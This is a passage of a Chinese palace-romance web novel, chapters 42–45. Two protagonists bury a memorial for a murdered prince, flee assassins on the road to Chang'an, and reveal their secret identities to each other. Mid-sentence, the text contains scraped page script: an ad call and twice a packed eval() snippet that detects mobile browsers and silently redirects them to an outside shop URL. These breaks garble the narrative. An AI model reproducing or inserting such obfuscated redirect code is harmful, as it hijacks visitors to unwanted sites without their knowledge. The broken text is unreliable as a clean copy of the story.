“二皇子一向疼爱这个妹妹,正是因全无防备,才会伤得这么重,失了性命。” “那这五公主也太没脑子了,又坏又蠢,有人看着都敢下手?” “你没听过关于五公主的传言?一个荒唐无度、只知养面首的公主,你还指望她多有脑子?哎,二皇子如此好的人,竟死在这样的人手中,真是老天无眼啊……” 官府的人保护好江措的尸身,又遣散了围着的人群,正要找薛适及掌柜等人再问问细节时,却发现薛适不知何时已没了踪影。 …… 薛适趁着所有人都将注意放在掌柜的证词上时,悄悄下了楼,立即离开了见南山。 一是因她不知道,江措为何将一枚瑟瑟递给了她,那碧绿色泽一看便是上乘,江措如此隐秘地交到她手,想是不愿他人发现。若她一直留在那,届时官府问话搜身,她无法藏住。 二是因为,她担心江岑许。 这一圈圈,一套套,摆明是针对江岑许所设的局。他本就戴着面具,极易被人模仿,即便掌柜及其他客人看到了戴莲花面具的“姑娘”,却不等于那人就是江岑许。而江岑许若想证明自身清白,难免需摘下面具。 可现在的他,能够以真实容貌、真实身份,立于世间吗…… 薛适迎着寒风奔跑,发带飞曳,衣角翻叠。因跑得太久,几次腿软摔倒,复又跌跌撞撞爬起。 她极力找寻着那道熟悉的身影。 这段时间,她身边在乎的人一个又一个离开。她总是无法及时制止,每一次都来迟,只能事后悲痛、补救。 可曾经在一起的回忆太鲜明、太深刻,哪怕她能在事后补救无数次,也换不回真真实实的他们,活过来。 薛适不敢想,如果连江岑许…… 她拼命摇了摇头,立即止住思绪。将所有的担忧、苦痛、自责、慌怕……都聚于脚下疾进前行的步伐。 她要找到他。 人潮之中,忽地有人从身后握住了她的手腕。薛适顺着来人急切的力道转身,直接落入了一个深深的怀抱。 江岑许俯身,头埋在薛适肩颈,双手圈锢着她的背,一点一点,收紧臂弯,像是要把她揉入骨髓。薛适的身形一瞬之间被他完完全全遮掩,迫得她不得不踮起脚,迎住他所有的压抑与重量。 颈间是他灼热的呼吸,耳畔是他低哑的话语。 “我在这。” 他说。 42. 书碑 薛适不知道的是,在她到了见南山没多久,江岑许也找到了这儿。如果不是因走出来的客人口中提及了江措受刺,凶手疑似他,江岑许恐怕早早就上了二楼,也会被直接抓个正着。 在这世上,除父皇之外唯一对他好的亲人,也离开了他。而他,却连正大光明去见最后一面的能力都没有。 江岑许伫立在暗处,任由冰凉的寒意在心口弥漫,他忽然在想:这么多年的隐忍筹谋,真的会如他所愿,彻底击败那些人吗。他真的能为自己,以及所有他在乎的人,报仇雪恨吗。 驰行的骏马宛若游龙,街巷人流如潮如织,他隐在角落,眼前交错来去的身影在冬日浅浅的阳光下,似被模糊了边缘,失了焦距。 直到一抹熟悉的水绿飘摇而过,一瞬间,清晰了视线。江岑许脚下一动,不由自主跟上,眼前的身影一路奔跑,像是轻灵的云,杳霭流玉。而她举目四望着,似在找寻谁。 咫尺之距,指尖就要触及的刹那,江岑许却犹豫了。也许,她只是因为害怕才拼力逃离,并不想见到他。 身前的人却在此时轻唤出声,明明并未发现他,却担忧问着“殿下,你在哪”。 江岑许终是不可抑制地,抱住了那片云。 很温暖,很好闻。 可以令他很安心地,将苦涩与愤怒藏起。 - 薛适和江岑许来到了扬州城外的山上。因走得匆忙,他们身上没有带任何东西,除了那张将争端直指江岑许的赋。 薛适带不走江措,短时间也带不来他生前所喜之物,连他真诚的心意也没来得及回应。 但她现在想补上属于自己的答案。 薛适将纸翻到背面铺展,从发间抽出笔,拿出随身携带的墨盒,蘸取提前磨好的墨汁,打算在这处空白上,将他们所写赋中江措最喜欢的那部分默下来。 薛适找了块平整的空地,用小石子压好纸张四角,正要趴在地上写时,江岑许出声打断了她:“等一下。” 他将身上斗篷卸下铺在地上,“垫着点。” “这怎么行?会……” 刚说几个字,江岑许已经开了口:“二哥也不想你为了他着凉。” “……谢谢殿下。” 薛适撑在江岑许的斗篷上,鼻间隐隐传来自他身上袭染的沉水香。她低头认真写着,一张纸至此一分为二,同样写着赋,却是对比清晰,一暗一明,一旋涡一波平。 虽背面的触感要更粗糙些,但薛适却写得顺畅,因这部分内容承载着对文臣武将并驾齐驱的期许,对两仪男女共辅天下的希冀,所以根本无需回忆,落笔即成。 【《赞襄宫赋》 今大益兴,四海平,虽有大明宫隔离天日[1],巍巍堂煌;然江南迢迢,去之稍远,故建离宫赞襄。南以体察民情,川水溶溶[2];北观日风和和,恰映天光。 帝仁惠,闻扬州请愿寺盛名,特遣人迎佛骨以彰虔诚,佑民安康。寺清幽,竹树环抱成帷[3],蔚然深秀;木鱼响歇如歌[4],心旷神怡。常见僧人论道,禅香烬而不知;扶弱济民,风雨啼亦不止,吾心甚佩。 而今佛骨将迎,离宫渐成,又及新气象。愿有铁骨武将可御敌,山河无恙;愿有傲骨文臣抒民意,百姓无殇。纵盛衰有时[5],世事茫茫[6],仍期大益荣光可抵万世,两仪[7]共耀八方。】 江岑许则是在不远处的桃树下挖了个坑。 待到春光烂漫,桃花盛开,近处树叶阵悦,远处清风拂山,想必景致极美。 比起皇陵,这里俨然更会是江措喜欢的地方。 良久,薛适写好,拂了拂斗篷上沾染的灰尘,重新给江岑许披上。等墨晾干后,她将纸张方方正正叠好,放在了江岑许方才挖的坑中,两人一起埋土填平,上面压了块由他们精挑细选的石头,形状奇峻而别致,表面也较光滑,是这片山上,薛适和江岑许一致认为最好看的石头。 薛适记得,她第一年来到长安受明皇后之邀入宫赴宴时,江措告诉她,书待诏不太好做,书碑勒石亦需费心。 薛适看着压在上面的石头,更加坚定了自己的想法。 江岑许见她微微出神,问道:“怎么了?” “我想为二皇子刻下碑词,就在我们一起选的这块石头上。” 虽然眼下薛适没有完备的工具,但好在随身携带的刻刀可以将就,这本是她用来应对篆刻代笔的。未想到,会最先用在江措身上。 薛适回忆了番同江措相处的画面,眼眶不由再次湿润,她用袖子胡乱抹了抹脸,拿着刀,专注地刻着想好的碑词。 她的力道很深,动作也没有任何生疏的停顿,自如的模样像是在执着最为称手的毛笔。江岑许看见薛适白皙的手,一点点被寒风侵染成红色,还有些肿胀,指根之间也因不可避免的抓握割破出血,但她却像完全没意识到般,手下动作丝毫未停。 江岑许先前生出的那点颓靡,在看到薛适坚韧执着的眸光时,瞬被驱散。他笑了下,笑自己居然越活越回去了,也变得脆弱起来,容易患得患失。 这世上不是所有人都会得偿所愿。即便每个人都想遂心如意,但最终的结果,却无法仅凭自身努力就能敲定。 他能确定的是,除非他死,否则永不会放弃。 “殿下,我弄好啦。” 薛适欣喜的声音传来,他看见她回头朝自己弯了弯唇,但眼神依旧蒙着淡淡的忧伤。 虽然扬州的冬日已到了尾,但这么久立在风里,实在冷得厉害。而在石头上刻字不比在宣纸上书写,稍有停顿便会影响最终的呈现,所以薛适一直忍到刻完,才呼着气来回搓着发红的手。 “嗯。”江岑许上前一步,将方才一直捂在手心的锦帕裹在薛适手上,而他的掌心,连带着锦帕和薛适的手,一起紧紧包住。 薛适垂眸,看着他们紧握的 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 手,手背温热熨帖,冻僵的麻感像是冰面遇到了暖阳,渐渐融化消散。即便隔着锦帕,她也能感受到江岑许手掌的宽大,带着令人贪恋的温暖与安心。 只是比起手,双颊似乎更先因他染上温度,甚至添了丝灼热。若是以前不知实情的她,只会觉得眼前的人像是很好的姐姐,处处关照。可现在知晓了一切,从前错过的,那些于细枝末节上的温柔与体贴,此刻尽数绵绵密密地缠绕在心口,一下一下,拉扯着她的心跳。 薛适将目光移落在江岑许身上,他正看着她为江措刻下的碑词。 【以此石守,言念君子。其坚如硎,其温如玉[8]。】 “很适合二哥。” 闻言,薛适也看向碑石,目光黯了黯:“我原本以为,大皇子不会对二皇子下手的,可他却……” “不是他。”江岑许先一步打断道,“江接会因先前檄文之事恼羞成怒,传出那篇赋来使我难堪,但杀害二哥不会是他的做派。若他真想杀二哥,早早就会计划该如何动手,就像对你和我一样,但他没有。” “那会是谁……”薛适蓦地一顿,想到了什么。 如果江岑许以为江接杀了江措,那他们二人之间的矛盾会因江措的死变得更加剧烈。而江岑许本人,又因许皇后之事受尽非议。如此看下来,比起江接,真正隐在暗处不受任何影响的皇子,是江抒。 可江抒的性情薛适了解,一点都不愿意待在宫中的人,会生出坐山观虎斗的心思,步步为营吗。 江抒不会,明皇后也不会,但…… 薛适想起龙尾道那晚,江岑许虽染了醉意,却仍坚定不移地告诉她,总有一天,他会杀了明相,让她离明相远些。 薛适问:“会是……我姨丈吗。” 江岑许垂眸,感受到薛适的手暖了不少,转而用锦帕给她一一擦拭着手指伤口溢出的血迹,很淡地笑了笑:“我现在是杀害自己哥哥的罪人,是杀人凶手。陪你做完了想做的事,我该逃跑了。” “明相杀人的证据现在虽没有,但江接造反的证据却是齐全。总要回京将他的计划彻底扼制,才能有活着的机会扳倒明相,替二哥报仇,替我母后申冤。” 他的笑依旧如平常散漫,但眼神中却落了丝不易察觉的隐忍与悲愤,看过来的时候,令薛适心口重重抽搐了下,又苦又涩。 他问:“你要一起吗?” 江岑许说完就要松手离开,像是只随口一提,并不需要她的回答,薛适却是一伸手,再次握了上去。 “大祭礼的第一日,我就答应过殿下的,会选择你。所以……” 江岑许回头,薛适笑容温宁,褐色的瞳孔在她哭过后有些发红的眼眶中亮得魄人。 这次没有锦帕相隔,她的手虽比他小很多,但握住的指端却极紧,带了执拗的力量,让人不舍得挣脱。 他听见她坚定地,对他说—— “我们一起逃。” 43. 湛蓝 四个侍卫收好两人东西跟上时,天色已晚,几人在扬州城郊外的一间客栈落脚。江岑许将惹眼的面具摘下,换了黑色的帷帽,未出阁的女子戴着帷帽实属常见,因而一点也没有引起旁人注意。 天还未亮,几人便已骑马赶路。事发尚不满一整日,官府的追捕文书还没来得及遍布在偏远的扬州城外围,几人抄人迹罕至的小路,又多注意隐匿行踪,一路走得十分顺利。即便到了江接派人严格检查的城门,但因他们一行六人,江岑许又让侍卫提前准备好了假身份,守城的人查过后也没有怀疑地放行了。 出了扬州,又骑马走了六七日,经过泗州、汴州后,几人抵达了洛阳。不出四日,便可越过洛阳进入长安。 一路奔波劳顿,偶有休息也极为短暂,马匹亦需休整,几人决定在洛阳歇歇脚。几个侍卫一下马就去寻觅吃食了,薛适帮大家整理着行装,江岑许拾来柴木生火,不远处的马匹在溪边饮水。 远山已从低缓变得连绵而高耸,天气也要更冷些,这些细微之处,都在无声加剧着离长安越来越近的实感。 去年的冬日,长安于薛适还只是一座陌生的城,足够繁华,却也充满危机。今时却觉得,长安不知什么时候已经成为了她真正的故里。 出来这么久,她很想念明皇后,虽这段时日有传书信,但总归不是见面,不免担忧。她也很想念翰林院亲切的同僚,和长安独有的各式美食。即便此番回去少不了动乱,但那里已是她如今的归处,她会对接下来的事感到紧张担忧,也会因马上就能回去而开心。 “想到什么了?”江岑许撩起衣摆坐在薛适旁边,手懒懒地搭在屈起的右膝上,偏头看她。 “想皇后娘娘了,还有刘掌院和大家。嗯……也有点想吃荣宝楼的毕罗了。” 看着身侧的人比起前些日子要相对明快的神色,江岑许勾了勾唇:“那就好。” “嗯?好什么?” 江岑许的目光在薛适的脸上清浅游移,似能依视线描摹出她的轮廓,许久才道:“没事。” 只是怕她一直想着清弥法师的死、二哥的死,怕她一直难过却装作无事微笑的样子。 薛适疑惑地眨了眨眼,不等开口,几个侍卫抱着一些果子和猎物急急回来,却是严肃道:“殿下,不好了。” “洛阳城中已经有了官兵的踪迹,许是碍于殿下和二皇子的身份,并没有张贴海捕文书。但看其中一些官兵的气势和敏觉程度,不像是普通官兵,更像是……出自宫中大皇子手下的人。” 看着薛适和四个侍卫担忧的神色,江岑许却是早有预料地点点头,语调轻松,还带了安抚之意:“二哥一出事你们不就给萧乘风传消息了吗?算算脚程,也快与咱们汇合了。 就算本宫真的英年早逝,等不到回宫亲自说,但有萧乘风和你们把证据呈给父皇,我带着江接一起见阎王,不绰绰有余?” “殿下!” 四个侍卫丝毫没被安慰到,只觉得心惊和惭愧。 这么多年,殿下只能借着所谓的面首之名,才一点点培植出属于自己的力量,但比起有袁家支持的江接,他们那点人也就聊胜于无。这次为了护送被江接紧盯的徐桓应回京作证,更是让临辞将带来的人几乎全都派了回去,只剩他们四个。 本来只要按兵不动,跟着来扬州时的宫中一行人正常回京就好,这样既不会因事先出发打草惊蛇,也能出其不意一举揭发。 结果先是流出那篇赋,紧接着二皇子又出了事,殿下直接因此成为了被怀疑的对象。关键事发突然,官府找不到凶器,现场也没遗留其他证据,只有茶楼的一干人目击到带着相同面具疑似殿下的人和二皇子一同进出过。麻烦的是,现在江接造反在即,殿下根本无暇顾及去证明自己并非杀害二皇子的凶手。 即便这几日他们出了城,一路都无追兵,但几人都心知肚明,最坏的局面是迟早的事。 几个侍卫没说太多,只道:“属下几个就算死,也要护住殿下,顺利回京。” “我不需要盲目的追随。”江岑许却是沉声开口,“如果真到最后,我们被包围了,”他帷帽微动,薛适看不清他的神色,只能感受到他的目光正落在她身上。 “你们带薛待诏走。” 几人皆是一惊,怔怔看向薛适,要不是知晓江岑许的真实身份,他们都要信了“薛待诏是五公主面首”的传言。 “可……” “本宫只想拉江接陪葬,你们我看不上。”江岑许闲散笑着,浑不在意的模样,就好像只是在说今日吃什么一样平常。 他没管几人的神色,继续道:“你们三个擅跟踪,身手敏捷适合刺探,去城中引开他们。卫一,”江岑许看向二十出头的少年,早在许皇后还在世时,他就跟在自己身边,时间之久仅次于临辞,“你做事细心沉稳,能力全面,跟着我和薛待诏。” “我的人不多,你们是除临辞之外能力最强的人,也是我非常信任的同伴。所以,我希望你们都要活到最后,知道么。” “是!”几人高声应道。 少年人气势凌厉,但此刻却都有些哽咽,除卫一外的三人最后看了眼江岑许,然后转身隐于山林,很快没了踪影。 “我们也走吧。”江岑许朝卫一扬了扬下巴,卫一收拾好几人在此停留过的痕迹,带上吃食走在最前,薛适跟在江岑许身边,走在后面。 “怎么了?”见她一直没说话,江岑许出声问道。 薛适看着他,与初次见面时一样,江岑许穿了蓝色的衣裳,只是不比那时的宝蓝清贵疏离,他今日一身湖海映晴空的湛蓝,温柔而缥缈,好像眨眼的间隙就会消失,或融于天际,或坠入海底。 薛适的心中起伏着难以言说的酸涩,脑中不断回旋着江岑许方才吩咐的话语。她知道,他的话总是对的,彼时她还这样亲口和江抒说过。 所以她很清楚,自己一直都认同江岑许的话。 如果他们真的被围困,生死攸关,比起所有人都去救江岑许最后全军覆没,不如以江岑许一人落险,来换他们借这个对方松懈的时机逃跑,尤其她始终跟在江岑许身边,若能成功脱险,回京后也能帮着萧乘风理顺江接在扬州所做的一系列事,以防萧乘风虽掌握了证据,却由于不熟悉来龙去脉,阐不明因果。 届时江接谋反的事败露,不仅可稳定朝局,她也不用因当初冰心笺一事的牵连,时刻面对江接的赶尽杀绝。 她都明白,都明白的。 可是,因深刻知晓接下来会遇到的危险,怕身前的人真得会如一抹最美好的湛蓝,于水天幽渺中引人怀念,却再无法切实触摸,不安与难过的情绪如汹涌的潮水,自心头袭至咽喉,又晕过眼眶。 江岑许见薛适只是垂着头,迟迟不说话,指尖轻弹了下她的额间,笑了声:“小呆瓜。” 薛适眼一酸,捏着江岑许垂落的衣袖,小心翼翼地,靠了上去。 她咽了咽发涩的喉咙,勉力笑着,回道:“殿下,我没什么事,就是有点……头晕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13769574|135582||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。”薛适很轻很轻地吸着鼻子,额头抵在他的胸口,听起来没有任何异样,只是较以往有些闷,像是因低着头说话才致此。 “那,想不想吃糖?”这几日赶路实在劳累,江岑许担心薛适亏了气血才头晕,微低着头问她。 “看你在扬州吃糖人吃得挺开心,就在经过汴州时让他们几个查探之余买了些糖。听说汴州的吹糖人很有名,不过时间紧迫,看不成吹糖人,买些红糖尝尝还是可以的。” 薛适从江岑许身前移开,看着被他托在掌上包着油纸的红糖,拿了颗放入口中,微微化开的醇甜丝丝流连,深浓而持久。 亦如眼前翻身上马的湛蓝身影,铭刻心骨。 - 穿过眼前的山林,再行至一日,便可抵达城门,进入长安。 三人更加谨慎,以防危机突临。 林间道路在高耸叠密的树木中变得狭窄,视野受限,不好骑马驰行,几人只得牵着马步行穿过。 没走几步,薛适耳朵一动,隐隐听得远处传来声响,赶忙道:“殿下,有人追上来了。” 薛适说完,又上前跑了些距离,想耳贴在地上再进一步辨听确认。 江岑许早知薛适耳力非凡,向卫一使了个眼色,卫一点头,也跟上前去查探。 江岑许牵着马,还未等栓在一旁的树上,忽然传来一阵与地面急速摩擦而过的粗粝声响,其中还夹杂了声薛适的惊呼,江岑许目光一沉,几步冲向声源处。 薛适方才跑着跑着,右脚蓦地一痛,不及反应,就已被突如其来的绳子牢牢缚住,极快的拉拽将她高高倒悬在头顶的树上,落入了不知是谁设在这里的陷阱。 薛适拼力用左脚使劲,想要勾住不断摇晃旋转的绳子作为支点,又绷紧腰腹力量,想要撑着身子直起,再伸手去够右脚的绳子解开。 她咬牙使出浑身力气,忍着因倒立而发晕的脑袋,挺起腰,将手够向绳子,陡然间,“嘣”地一声落在头顶,匕首凌空平旋割过绳子,稳稳刺入其后的树干。 绳子应声断裂,薛适倒映下坠的视线里,卫一还维持着投掷的姿势,他的身旁一袭湛蓝残影掠过。 然后,薛适腿弯一沉,随即腰间一紧,落入湛蓝色的怀抱。 江岑许接住她转了个圈,缓冲着下坠的痛感,横抱着她半跪在陷阱不远处。 薛适整个人几乎都坐在他跪着的腿上,被圈在他膝间与胸前围着的逼仄里,“殿下,来人少说也有四十,而且听他们的脚步声,沉稳而轻盈,应是高手无疑。” 怀中的人连气息都未等喘匀,就急着告诉他方才辨听的情况,宁静温雅的眉目间,没有丝毫惧怕之意。 江岑许指尖颤了颤,替薛适解开右脚残余的绳索,“嗯,我知道了。” 话音刚落,两人皆是面色一凝。 卫一一手捡回匕首,一手猛然拔出腰间长剑,疾步后退,护在江岑许和薛适身前,眉目亦是肃凛狠绝。 前方暗处,纷纷降下了黑衣蒙面的身影,或持飞镖,或持短刀……武器各异,步步逼近。 竟是除了尚未赶到的追兵,这里也已早早埋伏了人。原以为陷阱是猎人为猎杀动物所设,如今看来实为这些蒙面人一直在此蛰伏,等候时机。 连卫一都没有察觉到异常,说明这些人不仅武功高强,而且埋伏许久,已经非常熟悉地形。 棵棵挺拔浓密的树木,将头顶湛蓝成片的晴空分割得支离破碎。 最坏的局面,还是来了。 44. 真实 “卫大哥,匕首。”薛适小声朝卫一道。 她虽不擅武功,但起码要拿件兵器迎一迎敌,即便只能使出三脚猫功夫,好歹也能“死马当作活马医”。 “接着。” 卫一向后伸手将匕首递给薛适的刹那,脚步已疾近上前,飞身纵跃间,长剑如虹,一瞬将最外围的黑衣人震远了些,他一收脚尖落在地面,乘胜追击,挑起朵朵凌厉的剑花,左划右切,击击必中,基本让黑衣人无法靠近后边的江岑许和薛适。 眼下黑衣人尚未形没包围之势,只是挡在最前面,他们还不至于落得谁也无法逃脱的死局,卫一心上稍安,忙道:“你们走!” 前面是埋伏已久的黑衣人,再往前是正在路上赶来的追兵,薛适一咬牙,拉着江岑许转身朝来时的方向,原路返回。 江岑许帷帽四周垂落的黑纱翻动,薛适看不清他的神色,但先前曾暖过她的那双手,此刻却是冰凉一片。 纵林间道路再过狭窄,他们也不得不骑马撑着穿过山林,迅速逃回入林之前的山路。 还没走多远,江岑许忽然拿过薛适手中的匕首,遥遥一掷,直刺卫一身后欲要落刀的黑衣人胸口。 卫一击杀了眼前的人后闻声回头,满脸惊诧的黑衣人胸口淋淋鲜血,重重倒地,似没有想通自己的身后为何会飞来匕首。卫一看见江岑许做了个手势,是他们之间的暗语。 他说,保重。 卫一眼眶微热,点了点头,接着又冲杀在黑衣人的包围中。 见状,为首的黑衣人猜到戴着帷帽的人应是江岑许,虽讶异于五公主竟会武功,但此刻也顾不得多想,只大喊道:“撤!其他人不重要,能取五公主性命即可!” 一个刀光,贯穿得两个人影倒下,露出后面卫一冷咧的笑:“呵,没门!” …… 为了方便彼此照应,薛适和江岑许共骑一匹马奔行。 江岑许坐在后面,一手缰绳,一手将薛适圈在身前,把她挡得严严实实。薛适忍不住心忧,想要回头时刻查看情况,却被江岑许更紧了紧腰间。 “别回头,很危险。” 他的声音沉哑,霎时模糊在猛烈呼啸的风里。 薛适只好不再动作,闭上眼,细细辨听周遭的动静。 她第一次,生了想要好好钻研武学的心思。 儿时不爱学一是因她不喜,也不擅;二是因她不想被家族逼迫着,只为机械地搏得建功立业的好名声。 但现在,她知晓了自保的不易,不想成为别人的拖累。 也有了,想要保护的人。 他们急速穿过山林,即便江岑许马术再好,但两人身上还是不可避免地被横出右支的林木刮擦磕碰。 终于驰出山林,眼前道路虽盘山崎岖,但好在视野远比方才开阔。 薛适不知他们跑了有多久,也不知卫一那边的情况如何,只能坐在马上,跟着江岑许一路不停。 可他们未能坚持太久。 因为薛适已清楚听得远处脚步声临近,这意味着…… 卫一已经倒下了。 “殿下,来人似乎更多了,应是两批人马汇到了一起。只是,”薛适不明白,“大皇子为何要派出两批人?” 一批和官府的人混在一起,以抓捕江岑许为名。被卫二三人引开了几日,最终还是追了上来。 另一批早早埋伏在狭窄而隐秘的山林,特意设好陷阱,伺机等待。 这样想来,两批人马的行事风格并不相同。 难道…… 江岑许的话与她的猜想一致:“和官府在一起的,是江接的人。埋伏的黑衣人,是明相派来的。” 不然整个大益江岑许找不到第二个人,能够请得起那么多的江湖杀手,为他卖命。 “虽然不知道,他为什么突然在明面上就要不惜一切取我性命。” 薛适心凉如冰。 在进宫之前,她和姨丈见面的次数并不多,对他的印象也只是身居高位,做事端谨。但因着他是明皇后的父亲,江抒的外祖,所以薛适在心里一直把他当做陌生却愿亲近的人。 可一次次下来,薛适发现,即便明相与明皇后和江抒是血缘至亲,但他们却完完全全不是一路人,也永远无法成为,她能依靠且喜欢的亲人。 这时,江岑许突然沉声道:“马你来驭。” 薛适匆匆接过缰绳,耳边声音铮铮叮叮,她只能收拢所有慌乱与担忧,将全部专注都凝于前方的路。 身后箭簇如雨,甚至卷起冷锐的气流,江岑许一甩斗篷,旋转着挡下飞来的箭羽。 两拨人马虽不知对方底细,但彼此看得出来都是为了杀江岑许。 即便各方因四个侍卫折损了不少力量,但加在一起仍有近三十人。 他们骑着马穷追不舍,手上弓箭接连不断袭射,饶是江岑许反应再过迅捷,也难免遗落几支射向马蹄。 马痛得嘶鸣一声歪倒下去,江岑许眼疾手快地抱着薛适先一步翻身下马,薛适被他紧紧护在怀里,四周景象翻滚摇晃,下一瞬江岑许已凌空纵跃,帷纱曳动如帜,他一扶腰间,银光皎皎,手中赫然多了把软剑,如龙潜腾,冲至追杀的黑衣人中。 隐约地,薛适看见江岑许腰间一抹妃色随之流动,远远望去像是看错的残影,几不可见。 但薛适却熟悉知晓,那是除夕夜,她送给他的香袋。 一时间,没有人再放箭簇,两拨人马都将全部注意放在了手持软剑的湛蓝身影上。即便此人与五公主平日的感觉截然不同,但逃亡路上做些乔装再正常不过,加之蒙面人看到了卫一的拼死保护,更加确信此人就是江岑许无疑。 而江接的人虽从江接口中知晓江岑许会武,但毕竟从未亲眼见过,眼下和另一拨蒙面人一样,对江岑许的武力感到惊诧万分,各个更加打起十二分精神,全力应对。 江岑许的招式不同于薛适在宣微殿那晚于池水中瞥见的翩然,也远比卫一的剑法要更狠戾,击出时如雷霆震怒,远远挥缠,像是冰冷而危险的银蛇盘缚在脖颈,对方来不及抵挡就又被他抬脚直踹要害,手一收,恢复如常的软剑已沾染上艳红的鲜血,眨眼毙命。近攻时又如青光乍凝,势不可挡,一招一击绝不落空。 如今,知晓江岑许会武这件事,不再是她装作不知的秘密。只是薛适没想到,彼时令她提心吊胆到做噩梦的事,在彻底摊开这一天,会是这样的情景。 不是被她无意撞破,他要杀她灭口;而是他主动相护,以一敌十。 薛适向来温和的眉目凛了凛,她将马腿上的箭拔出,又将周遭射落的箭收起,走向最外围,一一检查着倒在地上的刺客是否还有活口。偶有几人气息微弱,虽还未死,不过看起来根本毫无反击之力,但薛适仍不放心,怕自己的确认会出错,毫不犹豫地执起箭簇狠狠刺向他们的心口,包括中间混杂的想要装死后再找机会报信的人,也被薛适各个揪出,彻底终结了他们的生命。 洛阳城郊外,山路陡峭,夕阳血橙。 天地苍凉一片,腥味弥漫。 黑色渐渐稀疏,只有湛蓝的身影手执银光,穿行来去,清晰分明。 而身后横七竖八的尸体之间,一抹水绿或蹲或起,神色淡淡,眸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13835064|135582||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 光冷凝。 然后,黑色全部消失,只余水绿一步步跑向那袭湛蓝,与之并肩。 江岑许手撑着剑,回头看向薛适笑着跑近的身影。 他买给她的水绿斗篷,底端沾染了血迹,但随着她移动的步伐,却像是绽出了朵朵娇艳无双的虞美人。 这一刻,他好像感受不到任何,只有心头因她生起的跳动强烈而鲜活。他弯了弯唇,手上剑一松,倒了下去。 “殿下!”薛适脸一白,扑过去伸手抱住了他。 帷帽在这下碰撞中掉落。 比起去好好看一看江岑许真真实实不加遮掩的容貌,薛适更先注意到的是他苍白的脸色,和唇间溢出的鲜血。 江岑许的右肩还有腹部都受了不同程度的伤,薛适眼一酸,咬住颤抖的下唇,将他的胳膊搭在自己身上,另一手小心翼翼地抱着他的腰,找寻附近可以处理伤口的地方。 “殿下你撑住,我绝不会让你有事的……” 前方山脚下有一座废弃的破庙,薛适先自己进去查探了番,见没有问题后才扶着江岑许进去。 他依旧昏睡着,渐暗的天色泻下熹微的光影,照在他的肌肤上,黯淡而苍白的模样像是被封于深海的夜明珠,衬得血迹更加殷红触目。 往日虽戴着面具,但江岑许依旧会做些浅淡的妆容,将自己更加贴合地伪装成一名女子。但此刻的他受了伤,头发散落,也没了所有遮掩,先前薛适曾于指缝窥见的容颜清晰放大,显露出他原本的少年之姿。只是因那双漂亮的眼紧紧闭着,少了一贯的张扬与邪气,清俊之下,脆弱柔和了棱角,显得易碎而温柔。 薛适将自己的斗篷卸下,严严实实地盖在江岑许身上,到附近的山坡找到了白茅根和檵木叶,洗净后用石头捣烂,割下外衣包好,急急回到破庙。 她轻轻解开江岑许的衣衫,径直忽略自己渐渐发烫的双颊,凝眸在他的伤口一一敷上草药。虽在看过的医书上知晓这两种药草可以止血,但薛适仍不放心,直到细细盯了会儿发现伤口确实不再流血了,用衣衫撕成布条包扎好,才稍安心。 不知不觉间,夜色降临,月上梢头。 薛适将多余的草药放在一旁,担心夜里江岑许会饿,打算出去找些吃食,上一顿饭还是赶路时吃的果子,为了逃亡先前卫一几个打来的猎物都没来得及烤着吃。 她揉了揉跪得有些麻的膝盖,刚要起身时,却被握住了手。 腕上熟悉的五色缕轻轻一晃,身旁的人缓缓睁开眼,正凝望着她。 “殿下?你……” 薛适欣喜的话还未说完,就已被江岑许拽向了胸前。 “别走。” 江岑许动了动未受伤的左肩,给自己和薛适一起盖好斗篷。 “……太晚了,有点冷。” 薛适被他按在胸口,心中山林呼啸。 忽地想到什么,她急急开口:“殿下,我没有冒犯你的意思,也不是有意要刺探,只是看你受伤了才……” “没关系。” 薛适微微一愣,方才她一门心思都在江岑许醒来这件事上,眼下才察觉到他的声音已变得与往日不同,是属于男子的语调。 温柔、低沉,带了些慵懒的笑意,却有着令人安定的力量。 和她所以为的很像,却还要动听。 只是比起江岑许的声音,更让薛适惊讶的是他接下来的话语。 “因为,我也知道了你的秘密,早在很久以前。” 他的气息分外灼人,含着笑意,一字一顿地对她说—— “很高兴认识你,薛姑娘。” 45. 熹微 薛适惊地微微瞪大了眼:“殿下是……什么时候知道的?” “大福殿,桃凝香。” 江岑许将桃凝香真正的玄机简单说了通,薛适这才知道,原来江岑许在他们第二次见面的时候就知道了她的女子身份,却一直没戳破。 “那你呢。” “嗯?” 江岑许深深盯着她的侧颜:“看你先前的表情,不像才知道我是男子,也好像早就知晓了我会武功。你……有什么话想问我吗?” 薛适怔了怔,她想到死去多年的前太子,想到五公主幼时常常扮作哥哥外出打猎的事,也想到眼前之人切换自如的声线。 但他没有直接说明自己的身份,而是问她有没有想问的,也许一切还不是时候吧。 薛适没有停顿太久,回道:“泼水礼那日,殿下替我挡水湿了衣衫,整理的时候,我无意中看到了殿下的……喉结,又想到殿下和我一样一直着立领样式,所以猜测殿下许是男子。至于知晓殿下会武的事……” 薛适没有隐瞒地说完,江岑许却有些意外。 他知道薛适的细心与聪敏。 既已知晓了他为男子,又早早察觉了他会武功,那么必然也猜出了他的身份,但她却什么都没问。 “薛适,”良久,江岑许出声唤道,认真的语调中藏了只有自己才知晓的心意。 他合上双眸,一瞬覆盖了压抑的所有汹涌,对她道,“等江接的事解决了…… 我们好好地,再重新认识一下吧。” 